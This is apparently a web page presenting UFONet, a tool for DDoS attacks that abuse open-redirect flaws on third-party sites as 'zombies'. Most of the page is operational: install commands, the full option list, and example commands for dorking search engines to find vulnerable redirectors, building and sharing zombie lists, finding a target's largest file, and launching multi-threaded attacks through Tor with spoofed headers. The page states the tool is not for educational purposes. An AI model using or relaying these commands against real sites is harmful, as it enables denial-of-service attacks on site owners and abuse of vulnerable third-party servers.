Open Redirect DDoS Tool - UFONet

UFONet – is a tool designed to launch DDoS attacks against a target, using ‘Open Redirect’ vectors on third party web applications, like botnet. UFONet abuses OSI Layer 7-HTTP to create/manage ‘zombies’ and to conduct different attacks using; GET/POST, multithreading, proxies, origin spoofing methods, cache evasion techniques, etc.  Remember, this tool is NOT for educational purpose. Usage of UFONet for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state and federal laws.


Developers assume no liability and are not responsible for any misuse or damage caused by this program.


See this links for more info:

• CWE-601:Open Redirect: http://cwe.mitre.org/data/definitions/601.html
• OWASP:URL Redirector Abuse: https://www.owasp.org/index.php/OWASP_Periodic_Table_of_Vulnerabilities_-_URL_Redirector_Abuse2

Installation:

UFONet runs on many platforms. It requires Python (>2.7.9) and the following libraries:

• python-pycurl – Python bindings to libcurl
• python-geoip – Python bindings for the GeoIP IP-to-country resolver library

On Debian-based systems (ex: Ubuntu), run:

sudo apt-get install python-pycurl python-geoip

Source libs:
* Python | * PyCurl | * PyGeoIP

Usage:

  Options:
   --version             show program's version number and exit
   -h, --help            show this help message and exit
   -v, --verbose         active verbose on requests
   --update              check for latest stable version
   --check-tor           check to see if Tor is used properly
   --force-yes           set 'YES' to all questions
   --gui                 run GUI (UFONet Web Interface)

   *Configure Request(s)*:
     --proxy=PROXY       Use proxy server (tor: 'http://127.0.0.1:8118')
     --user-agent=AGENT  Use another HTTP User-Agent header (default SPOOFED)
     --referer=REFERER   Use another HTTP Referer header (default SPOOFED)
     --host=HOST         Use another HTTP Host header (default NONE)
     --xforw             Set your HTTP X-Forwarded-For with random IP values
     --xclient           Set your HTTP X-Client-IP with random IP values
     --timeout=TIMEOUT   Select your timeout (default 10)
     --retries=RETRIES   Retries when the connection timeouts (default 1)
     --threads=THREADS   Maximum number of concurrent HTTP requests (default 5)
     --delay=DELAY       Delay in seconds between each HTTP request (default 0)

   *Search for 'Zombies'*:
     -s SEARCH           Search from a 'dork' (ex: -s 'proxy.php?url=')
     --sd=DORKS          Search from 'dorks' file (ex: --sd 'botnet/dorks.txt')
     --sn=NUM_RESULTS    Set max number of results for engine (default 10)
     --se=ENGINE         Search engine to use for 'dorking' (default: bing)
     --sa                Search massively using all search engines 

   *Test Botnet*:
     -t TEST             Update 'zombies' status (ex: -t 'botnet/zombies.txt')
     --attack-me         Order 'zombies' to attack you (NAT required!)
 
   *Community*:
     --download-zombies  Download 'zombies' from Community server
     --upload-zombies    Upload your 'zombies' to Community server
     --blackhole         Create a 'blackhole' to share your 'zombies'
     --up-to=UPIP        Upload your 'zombies' to a 'blackhole'
     --down-from=DIP     Download your 'zombies' from a 'blackhole'

   *Research Target*:
     -i INSPECT          Search biggest file (ex: -i 'http(s)://target.com')

   *Configure Attack(s)*:
     --no-head           Disable check of target's status at start
     --disable-isup      Disable round check status: 'is target up?'
     --disable-aliens    Disable 'aliens' web abuse of test services
     --disable-droids    Disable 'droids' redirectors
     -r ROUNDS           Set number of rounds (default: 1)
     -b PLACE            Set place to attack (ex: -b '/path/big.jpg')
     -a TARGET           Start Web DDoS attack (ex: -a 'http(s)://target.com')

   *Special Attack(s)*:
     --db=DBSTRESS       Set db stress input point (ex: --db 'search.php?q=')

Examples:

Searching for ‘zombies’:

UFONet can dig on different search engines results to find possible ‘Open Redirect’ vulnerable sites. A common query string should be like this:

'proxy.php?url='
'check.cgi?url='
'checklink?uri='
'validator?uri='

For example you can begin a search with:

./ufonet -s 'proxy.php?url='

Or providing a list of “dorks” from a file:

./ufonet --sd 'botnet/dorks.txt'

By default UFONet will uses a search engine called ‘bing’. But you can choose a different one:

./ufonet -s 'proxy.php?url=' --se 'bing'

This is the list of available search engines with last time that were working:

- bing [17/08/2016: OK!]
- yahoo [17/08/2016: OK!]

You can also search massively using all search engines supported:

./ufonet -s 'proxy.php?url=' --sa

To control how many ‘zombies’ receive from search engines you can use:

./ufonet --sd 'botnet/dorks.txt' --sa --sn 20

At the end of the process, you will be asked if you want to check the list retrieved to see if the urls are vulnerable.

Wanna check if they are valid zombies? (Y/n)

Also, you will be asked to update the list adding automatically only ‘vulnerable’ web apps.

Wanna update your list (Y/n)

If you reply ‘Y’ your new ‘zombies’ will be appended to the file named: zombies.txt

Examples:

+ with verbose:     ./ufonet -s 'proxy.php?url=' -v
+ with threads:     ./ufonet --sd 'botnet/dorks.txt' --sa --threads 100

Testing botnet:

Open ‘zombies.txt’ (or another file) and create a list of possible ‘zombies’.
Urls of the ‘zombies’ should be like this:

http://target.com/check?uri=

After that, launch it:

./ufonet -t 'botnet/zombies.txt'

You can order to ‘zombies’ to attack you and see how they reply to your needs using:

./ufonet --attack-me

At the end of the process you will be asked if you want to update the list adding automatically only ‘vulnerable’ web apps.

Wanna update your list (Y/n)

If you reply ‘Y’, your file: zombies.txt will be updated.

Examples:

+ with verbose:     ./ufonet -t 'botnet/zombies.txt' -v
+ with proxy TOR:   ./ufonet -t 'botnet/zombies.txt' --proxy="http://127.0.0.1:8118"
+ with threads:     ./ufonet -t 'botnet/zombies.txt' --threads 50

Inspecting a target:

This feature will provides you the biggest file on target:

./ufonet -i http://target.com

You can use this when attacking to be more effective:

./ufonet -a http://target.com -b "https://cdn-cyberpunk.netdna-ssl.com/biggest_file_on_target.xxx"

Example:

+input:

./ufonet -i http://target.com

+output:

       [...]

        +Image found: images/wizard.jpg
 (Size: 63798 Bytes)
 ------------
 +Style (.css) found: fonts.css
 (Size: 20448 Bytes)
 ------------
 +Webpage (.php) found: contact.php
 (Size: 2483 Bytes)
 ------------
 +Webpage (.php) found: about.php
 (Size: 1945 Bytes)
 ------------
 +Webpage (.php) found: license.php
 (Size: 1996 Bytes)
 ------------
 ================================================================================
 =Biggest File: http://target.com/images/wizard.jpg
 ================================================================================

Attacking a target:
Enter a target to attack with a number of rounds:

./ufonet -a http://target.com -r 10

On this example UFONet will attacks the target a number of 10 times for each ‘zombie’. That means that if you have a list of 1.000 ‘zombies’ it will launchs 1.000 ‘zombies’ x 10 rounds = 10.000 requests to the target.

By default if you don’t put any round it will apply only 1.

Additionally, you can choose a place to reload on target’s site. For example, a large image, a big size file or a flash movie. In some scenarios where targets doesn’t use cache systems this will do the attack more effective.

./ufonet -a http://target.com -b "/images/big_size_image.jpg"

Examples:

     + with verbose:     ./ufonet -a http://target.com -r 10 -v
     + with proxy TOR:   ./ufonet -a http://target.com -r 10 --proxy="http://127.0.0.1:8118"
     + with a place:     ./ufonet -a http://target.com -r 10 -b "/images/big_size_image.jpg"
     + with threads:     ./ufonet -a http://target.com -r 10 --threads 500

Download UFONet